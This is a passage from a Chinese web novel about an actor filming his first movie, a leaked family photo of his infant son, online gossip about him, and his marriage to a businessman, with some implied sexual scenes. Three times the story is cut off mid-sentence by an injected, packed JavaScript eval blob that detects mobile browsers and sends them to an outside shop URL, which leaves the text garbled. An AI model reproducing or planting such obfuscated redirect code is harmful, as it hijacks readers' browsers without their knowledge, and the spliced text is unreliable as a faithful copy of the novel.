他很清楚,对方并不是想聊这些。 只是刚进组,还没完全适应节奏,下意识地想抓住一点确定感。 这种状态,迟铎并不陌生。 甚至可以说,很熟。 以前进组的时候,他也差不多是这样,不至于不知道怎么演,但不确定该演到哪一步,只能一边观察,一边跟着流程走,尽量不出错。 现在轮到他站在这个位置上,也谈不上多从容,只是比那时候稍微清楚一点,哪些地方可以往前走,哪些地方最好别抢。 白楚昊站在他旁边时,总会下意识往这边靠一点,像是怕站得太远,会被漏掉。 迟铎看见了,但没有多说什么。 有些紧张,得自己慢慢适应,旁人帮不上忙。 对戏的时候也是这样。 迟铎不抢节奏,也不刻意压着对方,只是按自己能理解的方式,把反应给到位。白楚昊一开始还有点紧,几次下来,才慢慢找回感觉。 有一场走完,白楚昊低声说了一句:“迟哥,跟你对戏……还挺顺的。” 语气里带着点松口气的意思。 迟铎听见了,停了一下,点了点头,说:“那就好。” 这不是客套。 只是他现在唯一能确定的一件事,至少这场戏,没有给人添麻烦。 接下来的几天,迟铎跟几个和自己有戏份的演员都对过。 大多是在正式开拍前的空档里,走走位置,顺一顺台词。不算完整排练,也谈不上表演,只是把戏里的关系先过一遍。 有的演员准备得很细,台词卡得很死;有的明显还在找状态,说到一半会停下来想一想。迟铎作为对手方,一向好配合,也很职业,尊重对方的节奏,不抢,也不催,该停的时候停,该等的时候等。他对戏时话不多,更多是听。听对方怎么处理情绪,听停顿落在什么位置,再判断自己该怎么接,才不会显得突兀。 虽然没有戏之外的闲谈,但一来二去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987112|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还是能感觉到,对面看他的眼神有了变化。 只是这种变化,他向来不太在意。 正如旧友的评价,他的脑子里,常年只装得下一个人。至于别人怎么看他,远不如小海马哪天突然不肯老老实实吃饭来得重要。 当天的对戏结束得很利索,没有总结,也没有多余的寒暄。副导演简单确认了第二天的通告,提醒了到场时间,事情就算告一段落。 迟铎把剧本收好,照着安排离开片场。 回去的路上,他在手机备忘录里记下了几行字。 几点到,哪一场,穿哪套衣服。 写完之后,又看了一眼,确认无误,才黑掉屏幕。 回到住处的时候,已经不算早了,晚上11点。 迟铎先去看了眼小海马。孩子睡得很沉,呼吸均匀,他站了一会儿,才轻手轻脚地出来。 手机亮了一下,裴与驰的视频邀请弹出来时,迟铎接得很快。 镜头那头是白天,窗外光线明亮,背景看上去是在酒店。西装外套随意搭在一边,衬衫扣子解开了两颗。 “忙完了?”迟铎问。 “暂时。”裴与驰笑了下,“你那边收工了?” “嗯。”迟铎点头,看了他一眼,“那你把手机支架打开,放稳一点。” 裴与驰顿了一下:“嗯?” “交公粮。”迟铎说得很自然,“我看着。” 那头安静了两秒。 “现在?”裴与驰挑眉,他刚在酒店和几个银行家结束早餐,顺手签了几份合同。 “不然呢。”迟铎反问,“我不放心,纽约。” 言简意赅,又理直气壮。 裴与驰低笑了一声,没再多问,照他说的把手机架好。画面稳下来,人重新出现在镜头里。 “这样行吗?” 迟铎看了几秒,像是在确认什么,才点头:“行。” 他顿了顿,又补了一句:“快点,别拖。” 发号施令这件事,他做得相当熟练。 要人干体力活,还不提前打招呼,也不给任何心理建设,迟铎显然是把自家老公,当成了随叫随到的MagicMike。 裴与驰失笑:“你这是监督,还是验收?” “都有。”迟铎说。 说好早睡的,最后还是变成了熬夜。 在这方面,他确实不该低估裴与驰。 验收流程严谨,结果始终稳定,一如既往持久。 结束的时候,迟铎还坐在沙发上,神色如常,只是双腿一直并紧着。线下的冲击力他早就习惯了,没想到隔着屏幕,效果反而更直接。而且这一次,对方显然目标明确,只做一件事。 本来只是打算纯监工,可裴与驰嗓音一旦低下来,真的很难不…… 好了。”他说,“你去忙吧。” 裴与驰看着他,笑意很深,嗓音还带着点哑:“放心了?” “差不多。” 视频断开。 纽约还是白天,国内已经很安静了。 迟铎把手机扣在床头,关灯躺下,感受着两……间控制不住的湿意。 明天要拍戏。 但他还是没忍住想,早知道就不该放他这么早去纽约。 41.首戏 围读、定妆、对戏都已经告一段落,剧组终于进入正式拍摄阶段。 今天是开拍第一天,刚好,也轮到他。 之前拍综艺的时候,他对镜头、灯光和场地位置都很熟悉,很多反应几乎是下意识的。 但那种熟悉,和现在站在片场里,完全不是一回事。 对戏的时候,他已经慢慢找回了原有的节奏。可真正轮到正式开拍,镜头一架,灯光一落,胶片开始转动的那一刻,他还是不可避免地紧张了起来。 心跳在一瞬间变得清晰。他忽然意识到,这一场戏,对他来说不只是拍摄,更像是在验收这一年的学习成果。这一年里,他反复拆台词、记节奏、练反应。 灯光重新调整了一次,摄影师确认机位,副导演在一旁低声报场次。 迟铎站在位置上,手心有点热。 “准备。” 声音落下的瞬间,他脑子里反而空了一下。 之前反复拆过的台词、节奏、停顿,都没有跳出来提醒他该怎么做,身体却先一步动了。他按着走位往前一步,视线落在对手演员脸上,情绪自然接了上来。 镜头没有移开。 这一点,他很快察觉到了。 台词说出口的时候,没有卡壳。 “诶,何姐。”他说话的时候下意识往前靠了半步,即使对方看不见,语气还是热情的,却刻意压着分寸,“我给您找到了一个比较合适的租客。” 在他对剧本的揣摩里,远在国外的房东何姐,强势又难相处。嘴上说把房子托管给公司,实际上却随时能隔着电话挑人,临时加条件是常态。 老中介私下里提起她,都一脸为难。这种房源,没人愿意多碰,兜兜转转,才落到他这个刚入行不久的菜鸟手上。 所以这句话,他没有说得太满。毕竟何姐临时加条件这件事,实在太常见了。 “人已经看过房子了,条件这块也都符合您之前提的要求。” 他说到这里停了一下,像是给对方留出插话的空隙,又很快补了一句,“要是您方便,我现在把资料发您,您先看看?” 电话那头沉默了两秒。 这两秒里,他没有急着往下说,只是维持着那个微微前倾的姿势,等着。 “你确定靠谱?” 对方终于开口,语气冷淡,“我这房子不急着租,你们公司别给我塞些不三不四的人。” “我不敢跟您保证百分百。” 他立刻接上,态度放得很低,却不显得敷衍,“但目前接触下来,人是稳定的,情况也清楚,合同这块愿意按您之前的条件来。” 他说完,没有再往前推,只是把选择权递了回去:“要是您觉得哪里不合适,咱们再换,我这边都配合您。” 这一次,对方没有立刻反驳。 电话那头又安静了一会儿。 “行。”对方终于开口,语气依旧冷淡,“资料先发我看看。” “好,我马上给您发。”他应得很快,话也说的圆滑,“您有问题随时跟我说。” 电话挂断。 他把手机放回耳边的位置,动作放得很轻,像是还在等什么。直到副导演的声音从旁边传过来,他才回过神。 “好,这条留着。” 灯光开始调整,摄影往旁边挪了半步,现场重新热闹起来。迟铎站在原地,按着安排等下一步调度。 心跳慢慢落回原来的节奏。 他很清楚,这并不是什么出彩的表现,但是该做的都做到了。 回到化妆室卸妆的时候,饰演何姐的陈晓燕也在。 她是个老演员,资历很深,常年给那几位专攻海外电影节的第x代导演做配角。戏路很宽,从发廊小妹到女囚犯再到精神病人,都演过,也都演得很贴角,总能在不显眼的位置留下记忆点。提名拿过几次女配,却始终和奖项差了点运气。 这次会出现在这里,更多是因为和导演的私交比较好,来支持的。这部片子导演筹备了好几年,看得出来很上心,前前后后托了不少人情,请来的也都是熟面孔。不是拼流量的配置,而是明显奔着成片去的。 所以迟铎当初被选上的时候,心里其实是高兴的。 不是因为角色有多重要,而是因为能出现在这样的班底里,本身就说明了一件事,他已经不至于一出现在画面里,就让人出戏了。 迟铎朝她点了点头,喊了声“陈老师”,算是打过招呼,分寸拿捏得刚好,既礼貌,也不过分热络,随后便低头开始卸妆。拍戏时取下的婚戒,这会儿随着妆卸干净,又被他顺手戴回了手上。 陈晓燕的目光在他手上停了一瞬。她卸妆的动作干脆利落,不讲排场,和迟铎一样自己动手。指节上残留着几道褪色的纹身痕迹,平时被遮瑕盖住,卸干净了才隐约显出来。 “刚才那场,演得不错。” 沉默被打破。 迟铎抬眼:“谢谢陈老师。” “我是说真的。”她语气随意,不带任何恭维,“你不出戏。” 话落,她没再看他,低头点了根烟,反应过来是在室内,又很快按灭,动作收住,姿态却已经说明,这话还没完。 “所以我有点想不通。”她没有兜圈子,“你这种条件,现在这个状态,为什么要自己给自己上锁。” 迟铎没接话。 “别误会。”她扯了下嘴角,“性向这点事,我见得多了,没什么稀奇的。” 她侧过身靠在化妆台边,姿态松散:“我就是觉得奇怪。” “你明明可以走得轻松一点。” “但你出柜、婚戒什么都不藏。”她嗤了一声,“你这是嫌路太宽?” 她凑近了些,看着镜子里的他:“我只想知道,你图什么。” 化妆室里安静了一瞬。 “这个圈子不怕你私生活复杂。”她耸了下肩,“怕的是你没藏好,给它添麻烦。” “而你刚才那场戏,”她又补了一句,“明明证明你不必走到这一步。” 话说得直,甚至有点尖,但恶意并不多,更像是一个见过太多人的前辈,对一个还有点样子的后辈,顺手提点一句。 迟铎低头,看向那枚婚戒,“因为没必要藏。”他说,“这本来就是我的生活。” “你不需要给他们展示你的生活。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988299|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈晓燕接得很快,语气压下来,明显不打算放过这个话题。 本来成年人的劝告,点到即止,在迟铎回答后就该停了,但她看着迟铎回答时候的理所应当,像是在看一个不太合时宜的例外。 “这个圈子的人,哪一个不是戴着假面过日子。”她直接举例,“隐婚几十年的演员;带着三个孩子突然上亲子节目的男偶像;被偷拍到床照才被迫承认取向的运动员。” 她嗤了一声:“没人这么傻,把世俗和大众不乐意看,不接受的那一面,主动摊在台面上。” “大家要的,是人设。” “都争当洁身自好,德艺双馨艺术家。” 迟铎停了一下。 “我的兴趣只是做一个出现在屏幕里的演员。”他说,“不是去扮演一个让所有人都满意的形象。” 他抬手,指腹在婚戒上轻轻摩挲了一下,动作不重,却已经足够明显。 “不管别人看得起我,还是看不起我,”他语气很平,“站在镜头前的那一刻,我就是一个演员。” “判断我是不是演员的标准,也只有一个。” “我的演技。” “至于有没有人敢用,”他想了想,语气依旧平稳,“其实无所谓。” “从尸体演起也可以。” “跑龙套也可以。” “我现在只是往表演这个方向走。” “以后也只会是。” 他说到这里,顿了一下,像是终于想起什么。 语气依旧平静,对自己正在炫耀幸福这件事浑然不觉。 “再说,我想做演员这件事,本来就有人在支持我。” “我不太想让他失望。” 陈晓燕盯着他看了两秒,忽然笑了。 这一次,没有任何攻击性。 “行。” 她站起身,拎起外套,背上包,推开门。 又一个怪人。 这是她给迟铎下的定义。 和她一样。 这个圈子里,掘金的多,捧高踩低的也多,但总会有些怪人,始终不太合群。 这些年,她主动在社会边缘的角色里打转。伟光正的角色不是没找过她,只是比起像个样板说些无聊的场面话,她更愿意花时间,和患病的发廊妹坐下来聊聊天。 偶尔做点微不足道的事,自己演的角色能让那些本就不被在意的人,被看见一下,就够了。 至于转账、帮忙、搭一把手,这些事她从来不提。 世界本来也不太在乎他们,能偶尔停下脚步,看一眼,已经很难得。 门关上。 迟铎低头看了一眼那枚婚戒,继续换衣服。 其实刚才那番话,他心里真正想说的人,是裴与驰。 从没有台词的龙套开始,对他来说很正常,也早就做好准备。 可裴与驰的心疼,总是不讲道理地砸下来,而他自己,其实也一样。 怕对方为了自己,把本该走的路走慢了。 在这件事上,他们谁也说服不了谁。 只能各自退一步,把那点心疼,藏进对方的行程表里。 42.屏保 首场戏后过后,迟铎明显放松了下来,角色进入得很快,台词、节奏、走位,都开始变得顺手起来。 没戏的时候,他也不急着走。片场一角有空位,他就坐下来,看导演怎么拆戏,怎么一句一句指出问题;看其他演员怎么处理停顿,怎么收住情绪。有的地方他能看懂,看不明白的,就多看一遍。 陈晓燕后来没再多说什么,但迟铎的戏,大多是围着她和白楚昊转的,场次多了,自然免不了凑在一块。 吴导拍戏时很少喊停,剧本上的台词说完,相机往往还在转,后面的反应,全靠演员临场接着往下走。 陈晓燕经验足,一般会先顺着人物往下走,把情绪带住,迟铎就跟着她走。下了戏,她偶尔提一句:“刚才那一下,你可以再给一点。”迟铎听着,记下了,下一条再来,就把那点反应补上。 至于会不会用进正片,他不太在意。 镜头里的素材多了,人物站得住,就够了。 迟铎对陈老师,是实打实的感激。 有那么一瞬间,他甚至产生了点不太切实际的怀疑,难道裴与驰真是什么点金胜手?项目不做背调,纯靠情绪投,都能投到这种配置? 这个念头刚冒出来没两秒,“裴菲特太太”的美好幻想,就被现实迅速打断了。 网上开始流传他的婚戒照片。 角度不算刁钻,也谈不上多隐秘,戒指拍得很清楚,光线还不错。 迟铎扫了一眼,没什么反应。 这点事,他本来也不在意。宣布已婚的时候,就已经预料到会被人拿着十六倍镜扒,戒指从没打算藏,开工、收工,明晃晃地戴着。 剧组人杂,带牌的、不带牌的,站屋顶的、爬树的,他见得多了。 拍婚戒这种事,太容易了。 拍就拍了。 正好也让人看看,裴与驰审美确实不错——毕竟和他心有灵犀。 他把手机放下,准备继续看剧本。 下一秒,李浩又把手机递了过来,语气明显变了,急得压不住火。 “……哥,这个。” 这一次,迟铎的视线停住了。 屏幕上,是他手机的锁屏。 很明显,是用另一部手机对着拍的。 照片里,小海马刚满月,被他和裴与驰抱在怀里。 他在片场几乎不掏手机,不是在走戏,就是在等戏。 真正会低头看屏幕的地方,只有更衣室。 防窥膜他嫌弃伤眼睛,一直没贴。在家待了一年,这些乱七八糟的防备,也就顺手忘了。 小海马刚接回家没多久,迟铎就开始惦记满月的事。 他提前半个月,把家里的一个房间直接爆改成了摄影棚,背景、灯光、支架,一样不少。 审美方向也很明确,怎么非主流怎么来。 裴与驰几乎是被拽去换衣服的,全程一脸不情愿,明显不能接受自己的人生出现这种断崖式下滑。 衣服换完,还被迟铎硬拉着抓了头发,全套流程走完。 镜子里一看,房间里的杀马特从一个,变成了两个。 他低头,又看了一眼小海马。 骷髅头巾歪歪地戴着,小海马眼睛都没睁开,一副完全不知情、却已经被拖下水的样子。 那条东西他认得。 以前不是围在迟铎脖子上,就是随手挂在身上。 现在很明显,被剪短了,只为了给他儿子当装饰。 三个杀马特。 等相机开始自动倒数的时候,裴与驰的表情依旧写满了“有人欠钱不还”。 迟铎正准备抬头发火,下一秒,这个臭脸男却低头亲了下来。 画面就这么定格了。 一家三口,没有一个人给相机面子。 小海马太小,眼睛没睁开;他和裴与驰贴得太近,脸都只剩下侧面。 暗黑的摄影背景下,看起来格外暗黑。 裴与驰看完照片,评价得很冷静:“很像 cult 片。” 他顿了顿,又补了一句:“暗网那种。” 吐槽归吐槽,两个人还是没耽误把这张设成屏保。 迟铎看着屏幕里眼睛都睁不开的小海马,第一次对“被讨论”这件事,生出一点心疼,也生出一点后悔。 早知道,就该贴防窥膜的。 王平柔第一时间就联系了裴与驰的秘书。 孩子是逆鳞,谁家的都是。 她心里有数,这种事单靠自己压不住。 没想到那边早就有专门的工作组在盯着舆情。 那张一家三口的照片很快就消失了,速度快得几乎没留下痕迹。 网上却换了种热闹,一堆打着“有图”的号冒出来,真假不论,评论区整齐划一:求。 7788组也有人继续,不敢直接带照片,不敢明说孩子 标题: 《上嫁那个帖子,还有人记得吗?》 主楼:懂得来涛 1L 这看起来不像营销,倒像是真爱? 2L 笑死。 男通讯录老公股市赚的黑心钱,全拿来在组里炒了是吧? 还真爱,dy违法的知道吗?真的五毒俱全了。 3L 真心发问,不能是领养吗? 4L 想啥呢。 爆出来那个一看就是亚洲宝宝,大概率本土产。 本土不可能给两个通讯录办手续,尤其那家这么爱惜羽毛。 5L dy就没痕迹了? 你去翻翻封地百姓的说法,亲王是父母官,这种事不至于留把柄。 6L 这种家庭不会随便找人代的,另一个肯定也要层层筛选。 说句不好听的,小老婆生的吧。 7L 油管看了点分析,那位这些年对自己老婆项目审核得也很严,各方面成绩也没得说。 最大的败笔,也就这个通讯录儿子了。 8L 就不能是为爱接盘?为啥都猜是他老公的孩子? 那张照片看着挺亲密的,而且风格百分百cd的审美。 还有姿势来看,是他老公主动低头亲的,cd抱着孩子。 9L 上面那个是cd嬷还是腐蟑螂? 你以为世子世子妃是跟京圈格格一样叫着玩的? 你对世子,还是对他们家,是不是有什么误解?女的带拖油瓶嫁进这种家庭,有。男的你见过??? 10L 涉及孩子,讲这么难听,真的没必要。 【该贴已被删除】 后续页面刷新时,相关楼主与数个高赞回复账号,发布了手写的道歉信,账号名加大名都在上面。 主要内容高度一致,大意是 “未经证实,主观猜测,对未成年人造成伤害,已深刻反省,承诺今后不再于公开平台发表,转载任何相关言论。” 李浩一条一条翻着论坛,把还没来得及删干净的内容固定下来。 涉及孩子的,他单独截了一份。有些话实在太难听了,即使他自己未婚未育,看着也觉得不适。 手指在屏幕上停了一下。 有人在讨论孩子是哪里的特产。 说法五花八门,有说越南的,有说柬埔寨的,还有人语气笃定,说这种命就是被选中的,才能野鸡一步登天。 像是在评估一件货物,还是以次充好那种。 李浩喉咙发紧,正准备继续往下截,忽然感觉背后多了点重量。 他一回头,才发现迟铎不知道什么时候站在了他身后。 站得很近。屏幕上的内容,显然已经看得一清二楚,也不知道站了多久。 李浩下意识把手机往回收了一点:“哥……” 迟铎没说话。 他的视线在那几行字上停了一会儿,没什么表情,只抬手示意先回酒店。 到楼下,他没急着上去,在路边随便买了包烟。 是不是常抽的牌子,他没注意,也不重要。 烟点起来,过肺的时候,他才慢慢冷静下来。 刚看到那些对小海马带有满满恶意的话时,他脑子一片空白,连呼吸都像暂时忘记了。 还有裴与驰。 那些人嘴里一口一个败笔叫得轻巧。 可他太清楚了,裴与驰走到今天,走得有多干净。 烟烧到一半,他抬手按灭。 他给保姆打了个电话,说今晚小海马跟她睡,保姆那头明显愣了一下,语气有点吞吞吐吐。 迟铎没心思细听,只“嗯”了一声,就挂了。 他现在只想回房间,联系王平柔,写退圈声明。 然后该告的,一个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990355|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留。 电梯上行的时候,他已经把措辞在脑子里过了一遍。 门却没锁。 他推开门,先听见了声音。 裴与驰在打电话,语气压得很低,另一只手单手抱着小海马。小海马显然是有一阵子没见到他,兴奋得不行,小拳头一下一下拍在他肩膀上,力道不大,节奏却很足。 裴与驰没拦,也没躲,就这么让他拍着。 听见门响,他抬眼看过来,视线在迟铎脸上停了一秒。 电话那头还在说什么,他简单应了两句:“先这样,之后说。”直接挂了。 他抱着孩子往前走了一步。 迟铎却先开口了。 “我抽烟了。” 语气很轻,像是在交代,又像是提前认错。总之犯人一秒和盘托出。 裴与驰脚步顿了一下。 他听懂了这句话,却没有停下,只是走到迟铎面前,站得很近。 “他又不能活在真空里。” 不是安慰,是在陈述事实。 迟铎站在原地,没动。 “你以为你不进圈,他就能不被看见吗?” 裴与驰语气很轻,却很清楚,“你选择在我身边那天起,这件事就不存在第二种可能了。” 小海马被抱得很舒服,慢慢安静下来,但小手还揪着好久没见的爸爸的衣领,指尖一紧一松。 裴与驰低头看了他一眼,唇角几不可察地弯了一下。 然后他抬头,看向迟铎。 “你现在觉得是你害了他。” “那我呢?” 迟铎一怔。 “要不要顺便把我也一起算进去?”裴与驰语气依旧平稳,却比刚才低了一点,“毕竟——” 他顿了顿,“是我让你怀孕的。” 两人的距离太近了,熟悉的气味向迟铎压过来。那瓶香水,是他当年随手给买的,从此再也没换过。 “不是你把他拖进来的。” 裴与驰说。 “是我。” “也是我心甘情愿的。” 迟铎盯着这一大一小,说不出话。 裴与驰腾出一只手,抬起来,指腹贴上他的脸侧,动作很轻,既像安抚,也带着一点不加掩饰的怜爱。 迟铎这才像是终于能插进对话节奏里,低声问:“你怎么回来了?” 裴与驰看着他,没有立刻回答。 “他照片被泄露这件事,员工跟我说了。” 迟铎心里却轻轻一震,他算了一下时间,那会儿,纽约还是凌晨。 “我刚结束一个会。”裴与驰继续说,“看完消息,就订了最早一班。” 他顿了顿,又补了一句,像是觉得有必要说清楚。 “不是不信你能处理。” 他的手还贴在迟铎脸侧,拇指无意识地轻轻蹭了一下。 “我只是不想让你一个人面对这些。” 裴与驰低头看了小海马一眼,声音放得更低了些。 “他是我们的。” “你也是。” 迟铎没说话,只是伸手抓住了裴与驰的袖口,像是示意要牵着。 然后下一秒清脆的巴掌声响起,小海马很开心地拍了他爸下巴一巴掌。 裴与驰:“……” 迟铎:“……” 空气安静了一瞬。 上一秒还在心疼儿子、对儿子愧疚得不行的迟铎,头顶几乎肉眼可见地冒出了井字。 他面无表情地伸手,把那只乱晃的小手一把握住。 “不可以打爸爸。” 语气是他从未用过的严厉,几乎算得上威胁。 小海马完全不吃这一套,咧着嘴冲他笑,另一只手甚至跃跃欲试,明显还想补一巴掌。 迟铎:“……” 哪里来的塞回哪里去算了。 真的不如生块叉烧。 当晚。 啪。 保姆熟练侧身,精准躲过婴儿攻击,把人稳稳抱走。 小海马情绪良好,入睡速度极快。 他现在的脑容量,还装不下他爸妈关上门后在干什么。 彩蛋: 见惯线上的了,回到线下,冲击力又又又不一样了。 但适应得也很快。 到最后,依旧爱不释手。 真(爱不释手),直接抓着睡的。 43.杀青 这个插曲很快过去。剧组照常拍摄,迟铎照常没戏的时候在片场旁听学习。 裴与驰也照常—— 固定时间交公粮。没空视频就自己拍好发过来,像打卡一样准时;不打卡还不行,缺一次还得补两次。 裴与驰对此深感复杂:他前脚还在第五大道约人敲定合作意向,后脚就成了OnlyFans福利男。 发福利对象还特别稳定,有且只有一人。 迟铎对此充耳不闻,严格监督执行。 小海马那次曝光之后,网上先是大手笔压下去,紧接着又顺势做了一轮未成年人保护的普法科普和公益活动,舆论很快就收了声。法在前,其次又牵扯到婴儿。只要还算个高级社会动物,心里多少都会发虚。 剧组这边就更简单了,钱是老板投的,老板娘在,公子也在,谁还敢去触霉头。 于是大家都变得眉清目秀起来。对迟铎的态度明面上没更热烈,细节却突然很讲究。尤其是在密闭空间里:会议室、更衣室这种地方,手机要么不掏,要么提前放到桌上,屏幕朝下,姿态端正,表明自己毫无作案意图和可能。 迟铎这才后知后觉地明白,裴与驰那句“小海马不可能活在真空中”,确实很有道理。小海马被看见是必然,父母能做的也很有限,只能尽量把风险挡在外面。于是他联系了安保公司,给小海马和两个保姆都安排上了。出入路线重新规划,酒店和车也换成更稳妥的配置。连吃的都开始变得严格,不想再给任何人留可操作空间。 吃手手的小海马,就这样享受上了全套安保待遇。本人对此一无所知,只负责在保姆怀里认真啃自己。 小宝宝当然是不敢讨论了,但迟铎可以,毕竟公众人物。 那天裴与驰空降剧组,也没避着任何人。别说本组,隔壁组该看的也都看到了,更别提蹲树上、趴墙上的代拍和私生。长焦一架,一家三口还挺出片,当然所有涉及小海马的画面都被老老实实全马赛克,马得他妈来了都认不出。 不止静态图,动态视频也少不了。 迟铎撒娇要牵手、安抚小海马、逗小海马的全套流程,一点没落下。最火的那条,是离开片场前,他抬头看裴与驰,把手伸过去,等他牵的那一下。 这些物料既没露小海马一点,也没造谣,工作人员也就懒得管。毕竟老板娘需要点热度,剧组也需要点热度,大家的底线高度一致:热度可以有,喷脏违法不行。于是现场只剩下一项工作,紧盯关键词,防止有人口嗨到把自己嗨进普法宣传片。 没什么不可说捂着,自然物料瞬间全平台流通。全网对此大跌眼镜,大跌到字母站那些关于迟铎的金瓜拉郎视频,都开始被投稿人删掉或者隐藏。 太离谱了,迟铎。 静态和动态的差别还是很大的。之前静态也就几张,更多给人的感觉是另一方气场太强;但动态就没话说了。 先不提那一副贤妻良母娇妻样…… 其实主要就是那一副贤妻良母娇妻样。 离大谱。 离谱到以前的剪辑大佬都开始反思自己:当年是不是眼睛被痔疮糊了、猪油蒙了心,才会拉郎剪起零零恋。零零恋在现实里有很大的合理性,在小说里也站得住,但在内娱——绝无可能。 不管是帅哥嬷、稠男嬤、大叔嬤还是老人嬷,大家的理念高度统一:我女是女王,自信放光芒。 底线也只有一条,只能我女是公主,是傻女、村姑、狗妹、猫妹、酷姐。 正因为如此,两边嬷嬷水火不容,打架是日常,视频被举报是基础操作。 迟铎就不一样了。 帅哥嬷天然就不是主流,嬷粉数量最大的,始终还是普男那一挂。毕竟霸总杂草狠狠爱这种配置,火了几十年,受众早就被驯化得很彻底,大家都怜爱杂草,谁爱配置拉满、从头赢到尾的霸总? 而迟铎,从出道开始就很男,贬义的那种。 比心?不可能。 兔耳饭撒?想都别想。 机场接机问他去哪,一概不回;镜头、手机一往脸上凑,直接一只大手盖住,然后直接给三倍赔偿。 所以迟铎本人其实一直挺疑惑的,他的粉,到底在粉他什么。 唯一一次正面回应粉丝,还是王平柔为了劝他接那部爆米花NPC角色,给他看过影迷开的长期楼。楼里很冷清,碎碎念的账号就那几个。他认真看完,又让工作人员联系他们,给每个人寄了张贺卡,内容很简单: 谢谢 迟铎 也正因为他的历史行径过于安全,本身又没有任何大热美帝CP,剪辑圣手们才会放心大胆地拉他当瓜给正主配。 一来视频天然安全。毕竟梦女粉自有战场,互不干扰。二来他长相和逼格都高,视频剪完整体赏心悦目。毕竟稠男嬤、老人嬷的审美,只要抛开正主不谈,一秒回归正常。 就是这样一个安全到不能再安全、行走的金瓜,突然抬头、星星眼、撒娇要牵手,一套动作行云流水,简直娇妻中的战斗机。 真的离谱他妈给离谱开门,离谱到家。 其他家的嬷嬷和迟铎的梦女同时碎了,方向不一样,程度却高度一致。反倒是迟铎最近的路人嬷乐开了花。 娇妻人设好舞,大×妈咪人设更好品,相方还是个配置拉满的帅哥霸总本总。红白连页一夜之间多了几十页pg21的新文,厨子炒饭炒的手臂都粗了一圈。 行,这不能涛那不能涛,那这个总能涛吧。 于是组里开始群魔乱舞,被不可说压制已久的论坛,突然被解除封印。 一栋楼,无数属性齐聚一堂,目的高度统一: 辱迟铎。 还是辱迟铎。 当然,尺度也都有数。毕竟谁也不想让自己的账号名和大名一起挂在论坛首页——比如“xx做鸡时很美”这种,xx还是别家偶像黑外号。真要被点名手写道歉信,这边刚被铁锤锤完,下一秒xx家的律师函和报j回执单也要跟上。 所以喷子都很自觉,只在论坛里阴暗爬行,精准发疯。 标题:一起进来嗨 主楼:先立规矩:不准发没码的,不准提要原图。 今天那个牵手动图看了吗?人设碎成渣。 1L: 麦艾斯。真的好违和。迟铎是真的不避嫌?想要彻底击穿以前的人设?他是为了下部戏接这种边缘角色吗? 2L: 世界终究癫了,用贤妻良母娇妻形容一个男艺人,还是cd。 3L: 挺怜爱他的粉丝的,没见过这么碎的,指没踩缝纫机还能碎成这样,第一次见。 4L: 好好磕,磕死我了,身高差太好磕。两人侧脸都好好看。酷哥妈咪呜呜呜呜。 5L: 救命,他还星星眼。谁教的?早说他有这演技啊,我就入股当他事业粉了。 6L: 内娱第一次有这么难以形容的吧?以前大师们不是统一算会有震撼内娱的明星吗,大家还往谁能拿金球、奥斯卡猜。 我看就是这位了。奥斯卡金球摸不到边,但确实震撼。 甚至很难说他这是好牌打烂了,还是好牌打更好了。 7L: 肯定烂完了啊。208多赚钱不知道吗?他这张脸花期还没过的时候,躺着都能把通告接到爆。 8L: 问题是他嫁的也不是土老板那种,要靠老婆是明星出去招摇撞骗的。人家是A11起步的红D商人,不打长虫不会倒的。 而且他老公外面混得真挺好,七姐妹老板们的邀请名单里有他的。 迟铎跟着他,是跟桑切斯挤一起social的,内娱这边跟宿迁贵妇交好的也得影后起步。 看他这娇妻样,是准备死磕zbj贵妇赛道呗。 9L: 别说,下沉市场赛博仆人很多。很吃豪门娇妻贵妇人设。迟铎现在是真能带母婴产品了。就是少爷用的母婴产品,下沉市场估计买不起。 …… 500L: 行,多粉赢麻了。208男艺人里,能在贵妇合影里站C位的,有且只有他了 论坛讨到最后,口径达成一致: 迟铎,粉圈人设全塌;社会身份暴涨。 粉丝碎完,路人嬷过年,贵妇局C位预定。 贵妇本人对此一无所知,他正低头拿着手机,在翻机票。 男主临时行程一插,他的杀青时间也跟着往后延。本来迟铎是无所谓的,可以继续泡在剧组里,多学点东西也不错。再说裴与驰回来,肯定会来剧组陪他。 结果裴与驰突然告诉他,要晚几天。 原因很简单,上周开始,有个投资人像是怕他跑了一样,追着要投钱。资金量很大,但两边现在正卡在杠杆和费率上拉锯,谁也不肯先松口。这个投资人在纽约很有名气。要是对方选择all in,对裴与驰在曼哈顿这边真正站稳脚跟,很重要。 于是迟铎一边严肃强调裴与驰必须老老实实留在纽约乖乖赚钱,一边骂男主不职业、玩轧戏,一边自己打开航班软件翻机票。 力争杀青当天就飞。 杀青日当天 办公室的门合上了。 